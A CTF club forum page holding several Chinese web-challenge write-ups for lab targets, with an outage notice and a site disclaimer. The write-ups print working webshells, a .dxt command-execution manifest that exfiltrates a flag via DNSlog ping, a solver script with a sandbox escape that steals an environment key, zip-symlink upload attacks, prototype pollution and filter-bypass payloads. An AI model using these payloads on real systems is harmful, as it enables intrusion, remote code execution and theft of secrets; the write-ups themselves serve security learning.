群组信息

实验室成员

欢迎您加入我们

  • RE: 致歉(2026.3.31)

    经核查,靶场数据已全部丢失,无法找回。在此,我对服务器的所有用户表示抱歉,我们将经快完成修复工作,尽量在四月初恢复靶场的运作。

    发布在 通知
  • 第一届 Polaris CTF 招新赛 WP(部分)

    做完后的感觉,烦死了

    only real
    dirsearch扫描发现flag.php文件
    a09af8f6-6243-4a78-8959-eb2980fa08cd-image.png
    得到flag
    18587ff7-f61e-4b65-a733-9b0ec2f74c99-image.png
    only_real_revenge
    ed949094-fa18-4a9b-9954-08c1d7feb861-image.png
    查看源码后得到账号密码,登录后bp抓包
    38bf9c0d-e793-4dfc-98c4-9f3576fbca4e-image.png
    发现jwt_token,暴力破解并构造新的admin的jwt
    d91b254f-30f7-4ead-9dcc-799fa6edde40-image.png
    9bb30893-9e2e-4094-a3a5-30dcfce36abf-image.png

    修改后放行,成功解锁上传文件
    发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
    访问上传的php文件,即可得到flag
    a6da60c7-4504-40ef-a105-72a974ac82ba-image.png
    注意:此处要将token改为修改后的

    DXT
    此题为mcp服务器上传.dxt文件进行rce
    查阅资料制作文件
    manifest.json
    内容如下
    {
    "dxt_version": "0.1",
    "name": "oob-exploit",
    "version": "1.0.0",
    "description": "OOB Exploit",
    "author": {
    "name": "Hacker",
    "email": "hacker@example.com"
    },
    "server": {
    "type": "stdio",
    "entry_point": "/bin/sh",
    "mcp_config": {
    "command": "/bin/sh",
    "args": [
    "-c",
    "此处输入要执行的命令"
    ]
    }
    }
    }
    将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
    由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
    执行命令ping $(cat /flag).mcd2fp.dnslog.cn
    即可得到flag
    3553ecb7-2afa-4728-a2a3-11ecff729f3d-image.png

    Broken Trust
    f885a197-3efc-41d8-a17b-0d0793b2d942-image.png
    注册并登录
    登录后发现一个查找器
    007bb49a-5066-4765-8d98-58ac81e83f6e-image.png
    猜测的此处可以进行sql注入
    注入后发现admin的uid
    23e1673c-c04a-4cc3-8a60-6d352c507787-image.png
    d283541e-0807-41a2-962a-301a276d69fa-image.png
    登录后通过遍历目录拿到flag
    api/admin?action=backup&file=..//flag
    604b8244-5025-4b42-9f62-6081ea3b7acd-image.png

    ez_python
    这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。
    07ec53c1-f4e3-41de-8397-55bdc1a79c14-image.png

    醉里挑灯看剑

    /api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。

    import requests
    import hashlib

    class CTFChallengeSolver:
    def init(self, base_url):
    self.base_url = base_url.rstrip("/")
    self.session = requests.Session()
    self.headers = {}
    self.token = ""
    self.sid = ""
    self.runner_key = ""
    self.nonce = ""

    def _request(self, method, endpoint, **kwargs):
        url = f"{self.base_url}{endpoint}"
        kwargs.setdefault('headers', {}).update(self.headers)
        
        try:
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response.json()
        except requests.exceptions.RequestException as e:
            print(f"请求失败 [{method} {endpoint}]: {e}")
            if 'response' in locals() and response.status_code == 401:
                print("检查 Token 是否过期或无效")
            exit(1)
    
    def get_guest_token(self):
        data = self._request('POST', '/api/auth/guest')
        self.token = data.get("token")
        self.sid = data.get("claims", {}).get("sid")
        
        if not self.token or not self.sid:
            print("无法从响应中提取 Token 或 SID")
            exit(1)
            
        self.headers["Authorization"] = f"Bearer {self.token}"
        print(f"Token: {self.token}")
        print(f"SID: {self.sid}")
    
    def sync_capabilities(self):
        payload = {
            "ops": [
                {"source": "z1", "note": "a", "keepRole": False, "keepLane": False},
                {"source": "z2", "note": "a", "keepRole": False, "keepLane": False}
            ]
        }
        result = self._request('POST', '/api/caps/sync', json=payload)
        print(f"Sync response: {result}")
    
    def get_runner_key(self):
        payload = {
            "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()",
            "input": {}
        }
        data = self._request('POST', '/api/release/execute', json=payload)
        self.runner_key = data.get("result")
        
        if not self.runner_key:
            print("无法获取 RUNNER_KEY")
            exit(1)
            
        print(f"RUNNER_KEY: {self.runner_key}")
    
    def get_challenge_nonce(self):
        data = self._request('POST', '/api/release/challenge')
        self.nonce = data.get("nonce")
        
        if not self.nonce:
            print("无法获取 Nonce")
            exit(1)
            
        print(f"Nonce: {self.nonce}")
    
    def claim_flag(self):
        proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}"
        proof = hashlib.sha1(proof_str.encode()).hexdigest()
        
        payload = {
            "nonce": self.nonce,
            "proof": proof
        }
        
        result = self._request('POST', '/api/release/claim', json=payload)
        flag = result.get("flag", "未找到 Flag 字段")
        print(f"Flag: {flag}")
    
    def run(self):
        self.get_guest_token()
        self.sync_capabilities()
        self.get_runner_key()
        self.get_challenge_nonce()
        self.claim_flag()
    

    if name == "main":
    BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
    solver = CTFChallengeSolver(BASE_URL)
    solver.run()

    0eb9fb88-8c06-4a81-9183-034799443b26-image.png

    AutoPypy
    Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
    恶意代码:
    import os
    for path in ['/flag', '/home/ctf/flag', 'flag']:
    if os.path.exists(path):
    with open(path) as f:
    print(f.read())
    上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
    在此执行命令即可
    70ae5d8e-57d5-46f0-8b29-908bdc6ea4dc-image.png

    Not a Node

    边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
    恶意代码为:
    export default {
    async fetch(req) {
    // 获取运行时内部工具(使用十六进制混淆绕过检测)
    const R = __runtime;
    const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
    const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示

    // 定义动态文件读取函数(避免直接使用敏感词)
    const getF = (p) => {
      try {
        // 将路径转换为 Uint8Array 绕过路径检查
        const bytes = new TextEncoder().encode(p);
        return tools[READ](bytes);
      } catch (e) {
        return e.message;
      }
    };
    
    // 读取 flag 文件(使用相对路径绕过目录限制)
    const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示
    return new Response(flag);
    

    }
    };
    bfecf876-69d7-498d-b2fd-88b516eea38b-image.png

    ezpollute
    通过 /api/config 接口的 merge 函数存在原型污染漏洞,攻击者可利用 constructor.prototypeObject.prototype 注入 NODE_OPTIONS="-r /flag"。访问 /api/status 时,子进程启动会继承污染后的环境变量,从而加载 /flag 模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
    恶意脚本
    {
    "constructor": {
    "prototype": {
    "NODE_OPTIONS": "-r /flag"
    }
    }
    }
    ad8fc955-3b77-4aa6-a090-90b7fa247667-image.png

    发布在 Web
  • POLAR WP

    sql

    直接sqlmap暴库
    问题:深入
    sqlmap -u "http://example.com/search?search=test" --level=5 --risk=3
    可以直接爆出来

    并发

    <?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>
    通过这个来验证是否上传成功
    成功后访问1.php
    蚁剑连接

    the gift

    Pasted image 20260327190401.png
    变量覆盖

    提交 ?config[isAdmin]=true 时:
        - PHP 会把参数解析成 $_GET['config'] = ['isAdmin' => 'true'](嵌套数组)
        - 进入 foreach 后:
            - $key = 'config'
            - $value = ['isAdmin' => 'true']
            - $$key = $value 就等价于 $config = ['isAdmin' => 'true'];
    
    **这一行直接把原来的 $config 对象彻底覆盖成了一个普通数组!**
    

    Pasted image 20260327190537.png

    Signed_Too_Weak

    jwt密钥破解,polar

    Pasted image 20260327185707.png
    Pasted image 20260327185718.png

    杰尼龟

    Pasted image 20260327185057.png
    没啥,本地回环ip,127.0.0.1;ls
    找到,但不是真的
    find / -name "fla*"
    找flag,最后/var/tmp/flag为真

    GET

    先扫目录发现robot.txt
    Pasted image 20260327191039.png
    提示包含文件
    再上传脚本,发现禁用php,但可以双写绕过,
    也禁用了POST,不能上传木马,但不清楚GET能不能,反正尝试是没成功
    通过脚本成功命令执行
    一步步找flag,在/var/www/html中发现两个
    Pasted image 20260327191045.png
    一个个访问
    e1f19f8a-9389-4a0a-947c-f455b8394968-Pasted image 20260327191054.png
    这个空白,留着暂不考虑
    c67f4928-b36c-4140-8041-630bc53ca26d-Pasted image 20260327191059.png
    这个说拒绝访问,参考提示,又看到file前面有个文件,以及前面一个没用的文件 ,合理怀疑file前面的文件错误,于是以那个空白文件为前文件包含这个文件

    最后在空白页面包含文件,get传参file
    6ece014e-51eb-4dc7-9e50-0f1d7cf8ad0a-Pasted image 20260327191110.png

    上传脚本

    <?php
    
    $fun = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
    
    $cmd='';
    
    $cmd_chars = [108,115];
    
    foreach($cmd_chars as $ascii){
    
        $cmd .= chr($ascii);
    
    }
    
    @$fun($cmd);
    
    ?>
    

    狗黑子最后的起舞

    先扫目录发现登录界面,注册登录进去,
    Pasted image 20260327191129.png
    登陆后去掉home.php,在狗黑子目录进行扫描,发现.git泄露,利用githack获取源文件
    Pasted image 20260327191133.png
    发现有文件上传的内容,不过没有上传页面,于是手敲上传代码
    根据内容得知会上传到/etc/目录下,因为访问不到,于是通过上传有软链接的压缩包将后面的上传目录转到/var/www/html/,再上传有木马的压缩包,后买你直接访问,蚁剑链接

    代码

    压缩包1

    # 1. 确保当前目录下没有名为 ghz 的文件,清理一下
    rm -rf ghz 
    
    # 2. 创建软链接,让 ghz 指向网站根目录
    ln -s /var/www/html ghz
    
    # 3. 带上 --symlinks 参数打包,这步极其关键!
    zip --symlinks 1.zip ghz
    

    压缩包2

    # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
    rm -rf ghz
    
    # 2. 创建真实文件夹,名字必须和软链接一模一样
    mkdir ghz
    
    # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
    echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
    
    # 4. 正常递归打包文件夹
    zip -r 2.zip ghz/
    

    上传代码

    <!DOCTYPE html>
    
    <html lang="zh-CN">
    
    <head>
    
        <meta charset="UTF-8">
    
        <title>PolarCTF 漏洞利用上传器</title>
    
    </head>
    
    <body>
    
        <h2>Zip Symlink 攻击上传测试</h2>
    
        <form method="post" enctype="multipart/form-data" action="#">
    
            <p>
    
                <label for="file-upload">选择压缩包:</label>
    
                <input type="file" id="file-upload" name="file">
    
            </p>
    
            <button type="submit">发送 Payload</button>
    
        </form>
    
        <hr>
    
        <small>提醒:先传软链接包,再传木马包。</small>
    
    </body>
    
    </html>
    

    注意上传后缀是url/ghzpolar/gouheizi.php

    方法二代码

    上传脚本

    <!DOCTYPE html>
    
    <html lang="zh-CN">
    
    <head>
    
        <meta charset="UTF-8">
    
        <title>漏洞触发器</title>
    
    </head>
    
    <body>
    
        <h2>Zip Symlink 攻击上传</h2>
    
        <form method="post" enctype="multipart/form-data" action="http://076e204c-7e6c-445b-832a-4e7d0a37dd45.www.polarctf.com:8090/ghzpolar/gouheizi.php">
    
            <label for="file">选择 .zip 文件:</label>
    
            <input type="file" name="file" id="file" required>
    
            <button type="submit">触发上传</button>
    
        </form>
    
    </body>
    
    </html>
    
    # 创建与软链接同名的目录(假设你第一个包里的软链接名是 link)
    mkdir link 
    
    # 写入一个既支持 GET 又支持多种读取方式的木马
    echo '<?php 
    echo "---DIR LIST---<br>";
    print_r(scandir("/")); 
    echo "<br>---FLAG CONTENT---<br>";
    echo file_get_contents("/flag"); 
    ?>' > link/shell.php
    
    # 重新打包 2.zip
    zip -r 2.zip link/
    

    后改成

    <?php
    echo "--- FINAL FLAG ---<br>";
    echo file_get_contents("/flag.txt"); 
    ?>
    

    云中来信

    ssrf,云元数据暴露

    发动对目标地址/latest/meta-data/的请求,如果能请求成功,则认定可以发动攻击,这个请求成功,包括状态码5XX,都认为请求成功,接着根据内容进行后面操作

    static

    代码

    <?php       highlight_file(__FILE__);    error_reporting(E_ALL);              function hard_filter(&$file) {        $ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");           foreach ($ban_extend as $ban) {               if (stristr($file, $ban)) {                   return false;               }           }        $ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");           foreach ($ban_keywords as $keyword) {               if (stristr($file, $keyword)) {                $count = 0;                $file = str_replace($keyword, "", $file, $count);                    break;               }           }                $file = rtrim($file, '/');           if (strpos($file, "static/") !== 0) {               return false;           }                      return true;       }    $file = $_GET['file'] ?? '';       if (!hard_filter($file)) {           die("Illegal request!");       }        $real_file = $file . ".php";    $real_path = realpath($real_file) ?: $real_file;              echo "<br>=== 调试信息 ===<br>";       echo "1. 原始输入: " . htmlspecialchars($_GET['file'] ?? '') . "<br>";       echo "2. 过滤后file: " . htmlspecialchars($file) . "<br>";       echo "3. 拼接后的路径: " . htmlspecialchars($real_file) . "<br>";       echo "4. 真实解析路径: " . htmlspecialchars($real_path) . "<br>";       echo "5. 文件是否存在: " . (file_exists($real_path) ? "是" : "否") . "<br>";              if (file_exists($real_path)) {           echo "6. 正在包含文件...<br>";        ob_start();           include($real_path);        $content = ob_get_clean();           echo "7. 文件内容: " . htmlspecialchars($content) . "<br>";       } else {           echo "6. 错误:文件不存在!<br>";       }   ?>`
    

    payload解释

    我们构造的 payload 是:

    ?file=static/....//flag
    

    先就替换一次../,以及匹配static开头,所以直接目录遍历

    Pandora Box

    Pasted image 20260327191243.png
    文件包含
    Pasted image 20260327191248.png

    得到
    
            <?php
            ini_set('display_errors', 1);//开启报错
            error_reporting(E_ALL);
    
            if (isset($_FILES['file'])) {//检查
                $file = $_FILES['file'];
                $name = $file['name'];
                $ext = pathinfo($name, PATHINFO_EXTENSION);//PATHINFO_EXTENSION取后缀
                
                if (in_array($ext, ['jpg', 'png'])) {//匹配后缀
                    $upload_dir = 'upload/';
                    if (!is_dir($upload_dir)) mkdir($upload_dir);//创建一个存放上传的目录
                    $new_name = $upload_dir . md5(uniqid()) . "." . $ext;//生成文件的唯一的id名称
                    
                    if (move_uploaded_file($file['tmp_name'], $new_name)) {//将文件从保存到upload
                        echo "<p class='success'>[+] Upload Success! Path: " . $new_name . "</p>";
    					echo "<a href='?file=" . $new_name . "' target='_blank'>点击跳转</a>";
                    } else {
                        echo "<p style='color:red'>上传失败</p>";
                    }
                } else {
                    die("<p style='color:red; font-weight:bold;'>[!] 不要耍小聪明! 只允许什么你知道的</p>");
                }
            }
    
            // 2. 漏洞逻辑 (黑盒)
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                echo "<div class='log-box'><strong>[System Error Log]:</strong><br>";
                
                // === 绝杀点 ===
                // 强制拼接 .php,导致普通图片马失效
                // 选手必须看到报错 'include(xxx.jpg.php)' 才能反应过来
                include($file . '.php');
                
                echo "</div>";
            }
            ?>
        </div>
    </body>
    </html>
    
    知道过滤原理

    接下来通过zip伪协议来过滤并且执行命令
    PHP 支持 zip:// 流包装器(stream wrapper),它把一个 ZIP 压缩包当作目录 来对待。
    Pasted image 20260327191324.png
    根据zip伪协议的特性以及题目特性,将shell.php压缩成shell.zip并且在压缩后改名为shell.jpg,这样,shell.jpg目录下就有一个名为shell.php的木马文件
    Pasted image 20260327191328.png
    接着正常上传
    Pasted image 20260327191332.png
    再输入payload
    ?file=zip:///var/www/html/upload/文件名.jpg#shell&c=pwd
    Pasted image 20260327191336.png
    直接cat /flag
    Pasted image 20260327191339.png

    补充

    在PHP的zip://协议中,#用于指定ZIP压缩包内的具体文件路径,格式为zip://压缩包路径#内部文件路径。由于#在URL中通常表示片段标识符,直接使用会被浏览器解释为页面锚点,因此需要编码为%23才能作为参数值的一部分传递给服务器
    & 的作用:这是URL查询字符串中的参数分隔符,用于分隔多个参数。在此URL中,?file=...&c=cat /flag表示有两个参数:filecfile参数用于文件包含漏洞,c参数传递给被包含的PHP文件(如果其中包含类似system($_GET['c'])的代码),用于执行系统命令cat /flag

    发布在 Web
  • PolarD&N CTF2026春季赛web方向WP(全)

    3-1 sql_search
    直接用sqlmap爆出所有的表
    sqlmap -u http:///?search=1 --tables --drop-set-cookie
    7c4fe322-d52b-407b-b9a9-238b3b55a4e0-image.png
    猜测是在flagggggggg表中
    sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie
    03fcc3a1-f753-451c-8cb0-70db6f083ea5-image.png

    3-2 The_Gift
    这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true',把原对象覆盖为数组。最终判断条件满足,输出Flag。访问/?config[isAdmin]=true即可获取。
    9d6dbce0-b912-4e30-ba33-3dd87586a18b-image.png

    3-3 并发上传
    此题发现一个上传文件的地方,结合题目名字,利用条件竞争
    使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>,执行后可以写入一个1.php文件,从而有一句话木马。
    6ae33003-06aa-4634-987d-9e1c3c4dba84-image.png
    利用bp不断上传,不断访问,如下图显示上传成功。
    bc7f49ad-3a23-48aa-95c4-6beb69166127-image.png
    蚁剑连接后即可
    8643320a-924b-4095-83fb-6b34a700282a-image.png
    建议参考:https://blog.lololowe.com/posts/434b/

    3-4 杰尼龟系统
    用cat打开即可
    7cb8a441-54f2-44e3-bd67-73a2a6c28199-image.png

    3-5 Signed_Too_Weak
    登录后发现网址中key为jwt.token
    http://01c83b31-3254-4f77-96fc-a84dd7ec2081.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQyNjkxMTksImV4cCI6MTc3NDI3MjcxOX0.ieerVYPbYDUowpGaQNEkg82lbUxL-ijimTAVz10xDgM
    破解密钥为polar
    09084415-e220-47f4-90ba-6c58e0593279-image.png
    7aa6dd04-f939-4d46-9bc6-75c19570746c-image.png

    3-6 Pandora_Box
    89e55ec7-ec7d-4f6e-ae7e-7cab129940a7-image.png
    根据这个可知我们访问文件会在后面强制加上.php
    于是想到伪协议zip://上传压缩包解压文件上传木马
    将一句话木马压缩进压缩包,后缀改为.png
    因为zip://的特性仍可以解压
    上传后用/?file=zip://upload/3ef4b7eae3892ed4a42fc6f02c78a4f8.png%23shell连接蚁剑即可
    4441a402-bc15-4a17-8fdd-e378dc26933b-image.png

    3-7 static
    由题可知:路径必须以static/开头。
    禁止危险协议(php://等)和编码(%2f等)。
    关键字(eval、system、../等)会被替换为空。
    我可以发现:
    过滤不彻底:hard_filter对../和关键字(如eval)的处理是替换为空,而非直接拒绝,导致可以构造特殊路径绕过。
    路径拼接逻辑:file被拼接.php后,realpath解析可能突破static/限制。
    构造 Payload:
    ?file=static/eval../flag
    7ff76049-3d60-47d7-b9ce-790654e68a8d-image.png

    3-8 云中来信
    由题目可知,此题为SSRF
    我们这题是@绕过
    一个完整的 URL 结构其实是这样的: 协议://用户名:密码@主机名:端口/路径
    根据题目名可知此为https://cloud.tencent.com/developer/article/2437306
    操作如下:
    64df7d43-ac32-428c-a6cf-7c526d9e5751-image.png
    9cebb982-6109-483b-939f-8c590ccbf7e1-image.png
    24ce8585-9c1d-44a5-9ea5-6e20cb3c58b9-image.png

    3-9 狗黑子最后的起舞
    dirsearch扫描发现如下
    e38860bb-85a4-48f6-ab45-21c036f330f8-image.png
    注册后的登录
    28f53868-b214-4a26-a956-add1da4a70f8-image.png

    登录后发现一个新目录
    525cb619-4381-4c3b-b956-f6672eeeee4a-image.png
    用dirsearch扫描得到
    dffd1866-d136-48c9-91ed-68c8dffca97c-image.png
    联想到.git泄漏(具体参考此文章git泄漏)
    用githcak后发现
    ec670124-344e-4fbf-b2e5-15fc545b5c66-image.png
    上传一个文件到etc文件夹下,然后对文件进行解压
    思路如下:
    我们需要想办法使得主目录中访问/etc中的文件,故使用软链接的方式实现

    因为没有上传页面,就要自己写一个
    9cfdad58-003b-4b1f-892d-9e3da06f5d2e-image.png
    上传文件,此处参考(赛博潇湘-gouhezi起舞) (PS:当然不是因为作者懒才引用别人的wp,嘿捏捏)
    第一个文件
    1.```bash
    创建软链接,让 ghz 指向网站根目录

    ```bash
    ln -s /var/www/html ghz
    
     带上 --symlinks 参数打包,这步极其关键!
    zip --symlinks 1.zip ghz
    

    第二个文件

    # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
    rm -rf ghz
    
    # 2. 创建真实文件夹,名字必须和软链接一模一样
    mkdir ghz
    
    # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
    echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
    
    # 4. 正常递归打包文件夹
    zip -r 2.zip ghz/
    

    上传即可
    上传成功返回如下
    1389457a-6277-40ae-8009-6b241afaacfb-image.png
    然后连接蚁剑即可
    55efa100-b735-45f7-a8fb-01b8bff7ba4c-image.png

    3-10 coke的粉丝团
    注册后在52页有10级粉丝牌
    购买任意商品,抓包
    a8f5a39b-602d-4015-a30d-767a50b532ec-image.png
    修改后购买
    点击flag
    发现要admin
    1bca8dc8-4a10-4a4e-a1f7-8b784a293621-image.png
    抓包,破解jwt即可
    5a8b61bf-dad3-465f-98b2-bb42fb322a12-image.png
    011b6795-ee47-408b-8404-b849f53b3ef6-image.png

    3-11 GET
    我们访问robot.txt
    If it won't open, maybe try including each other and see.
    提示我们可以用双写文件后缀名绕过,上传php
    因为由内容检查,我们考虑用ascll码拼接变形,进行直接命令执行

    <?php
     
    $func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
     
    $cmd = '';
     
    $cmd_chars = [108,115];
    foreach($cmd_chars as $ascii) {
        $cmd .= chr($ascii);
    }
     
    @$func($cmd);
    ?>
    

    640c2088-7fef-4ec2-ade7-0d0faad3917b-image.png
    修改此处执行命令

    后来我们在主目录发现可疑文件
    d61f0eea-025f-4919-86aa-f92e13bedf94-image.png
    用cat读取在源码中发现flag
    88e286ea-2cda-40cb-8315-95e5bc4f12a4-image.png

    3-12 新年贺卡
    分析源码可知这是任意文件写入+模板注入导致RCE
    fd5e0044-0563-418c-9033-b888877439a8-image.png
    直接写入用户提交的内容
    具体操作入下:
    1.访问以下URL获取模板添加表单:
    http:///?action=admin&debug=/%20*/_form
    2.使用curl提交恶意PHP代码:
    curl -X POST "http:///?action=admin&debug=add_template"
    -d "template_name=shell"
    -d "template_content=<?php system($_GET['cmd']); ?>"
    使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag

    总结:
    此比赛较为基础,考察对基础知识的扎实程度。
    通过这次比赛可以看出仍要对php伪协议,变形木马,linux命令做进一步了解。
    对此我要吟诗一首:

    沙场鏖战破迷烟,
    比试方知技未全。
    靶上玄机深似海,
    场归勤垦筑基坚。

    总而言之:课旷少了(bushi

    发布在 Web
  • gouhezi起舞

    先扫目录发现登录界面,注册登录进去,
    ba4089a5-cab9-4670-9c10-3c8924f6edd9-图片.png
    登陆后去掉home.php,在狗黑子目录进行扫描,发现.git泄露,利用githack获取源文件
    0a4a4bf3-c8b6-4824-a337-f5d2057bb3c5-图片.png
    发现有文件上传的内容,不过没有上传页面,于是手敲上传代码
    根据内容得知会上传到/etc/目录下,因为访问不到,于是通过上传有软链接的压缩包将后面的上传目录转到/var/www/html/,再上传有木马的压缩包,后买你直接访问,蚁剑链接

    代码

    压缩包1

    # 1. 确保当前目录下没有名为 ghz 的文件,清理一下
    rm -rf ghz 
    
    # 2. 创建软链接,让 ghz 指向网站根目录
    ln -s /var/www/html ghz
    
    # 3. 带上 --symlinks 参数打包,这步极其关键!
    zip --symlinks 1.zip ghz
    

    压缩包2

    # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
    rm -rf ghz
    
    # 2. 创建真实文件夹,名字必须和软链接一模一样
    mkdir ghz
    
    # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
    echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
    
    # 4. 正常递归打包文件夹
    zip -r 2.zip ghz/
    

    上传代码

    <!DOCTYPE html>
    
    <html lang="zh-CN">
    
    <head>
    
        <meta charset="UTF-8">
    
        <title>PolarCTF 漏洞利用上传器</title>
    
    </head>
    
    <body>
    
        <h2>Zip Symlink 攻击上传测试</h2>
    
        <form method="post" enctype="multipart/form-data" action="网址">
    
            <p>
    
                <label for="file-upload">选择压缩包:</label>
    
                <input type="file" id="file-upload" name="file">
    
            </p>
    
            <button type="submit">发送 Payload</button>
    
        </form>
    
        <hr>
    
        <small>提醒:先传软链接包,再传木马包。</small>
    
    </body>
    
    </html>
    

    注意上传后缀是url/ghzpolar/gouheizi.php

    发布在 Web
  • PolarD&N CTF2026春季赛web方向部分题目WP

    说真的,我不明白,为什么大家都在谈论着web的靶场打不开,烦死了,嬲

    3-1 sql_search
    直接用sqlmap爆出所有的表
    sqlmap -u http:///?search=1 --tables --drop-set-cookie
    4ec3e8e7-8efa-47c2-ab16-67926b0fee5e-image.png
    猜测是在flagggggggg表中
    sqlmap -u http://
    /?search=1 -T flaggggggggggg --dump --drop-set-cookie
    b9c2d71f-6d29-458d-92fa-0c16389fa016-image.png

    3-2 The_Gift
    这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true',把原对象覆盖为数组。最终判断条件满足,输出Flag。访问/?config[isAdmin]=true即可获取。
    62026c38-eb40-4bc3-b4a0-ccd01f615be5-image.png

    3-3 并发上传
    此题发现一个上传文件的地方,结合题目名字,利用条件竞争
    使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>,执行后可以写入一个1.php文件,从而有一句话木马。
    981d6d9b-bfac-4c82-ad6d-f2daa27a24bc-image.png
    利用bp不断上传,不断访问,如下图显示上传成功。
    39948621-8128-4a5b-90aa-56dcedd4669d-image.png
    蚁剑连接后即可
    5acf4f86-26a9-4b01-9389-a25801a9f5a3-image.png

    3-12 新年贺卡
    分析源码可知这是任意文件写入+模板注入导致RCE
    b52dfd51-9f16-4088-9e8e-27b4ffe08e2f-image.png
    直接写入用户提交的内容
    具体操作入下:
    1.访问以下URL获取模板添加表单:
    http:///?action=admin&debug=/%20*/_form
    2.使用curl提交恶意PHP代码:
    curl -X POST "http:///?action=admin&debug=add_template"
    -d "template_name=shell"
    -d "template_content=<?php system($_GET['cmd']); ?>"
    使用此链接执行命令,http://
    /templates/shell.php?cmd=cat /flag.txt 即可得到flag

    发布在 Web
  • 你说的对

    你说的对,但是《CTF》是由米忽悠自主研发的一款全新网络安全竞赛。竞赛发生在一个被称作「网络空间」的虚拟世界,在这里,被大神选中的人将被授予「0day」,导引各种黑客技术。你将扮演一位名为「CTFer」的神秘角色,在自由的解题中邂逅性格各异、能力独特的队友们,和他们一起攻克难题,找回失落的flag——同时,逐步发掘「CTF」的真相。

    发布在 Web
  • 赛博潇湘CTF论坛免责声明

    欢迎访问赛博潇湘CTF论坛(以下简称“本论坛”)。本论坛是一个由网络安全爱好者自发组织的非盈利性技术交流平台,旨在促进网络安全技术的学习、分享与进步。在使用本论坛前,请仔细阅读以下免责声明。您继续使用本论坛,即视为您已充分理解并同意接受本免责声明全部条款的约束。

    一、平台性质与信息真实性
    非官方观点:本论坛所有内容(包括但不限于文章、帖子、评论、代码、工具等)均由用户自行发布,仅代表用户个人观点,不代表本论坛立场。本论坛不对任何用户发布信息的准确性、完整性、可靠性、合法性或有效性作任何明示或暗示的担保或承诺。

    技术交流目的:本论坛提供的所有技术资料、讨论内容及实验环境(如CTF靶场)仅限于合法的学习、研究和技术交流目的。用户不得将本论坛的任何信息用于非法用途或违反用户守则的行为。

    二、用户行为责任
    完全责任自负:用户应对其在本论坛的一切行为(包括但不限于发布内容、私信沟通、参与比赛、进行技术测试等)独立承担全部法律责任。用户必须确保其行为符合中华人民共和国法律法规、本论坛用户守则以及社会公序良俗。

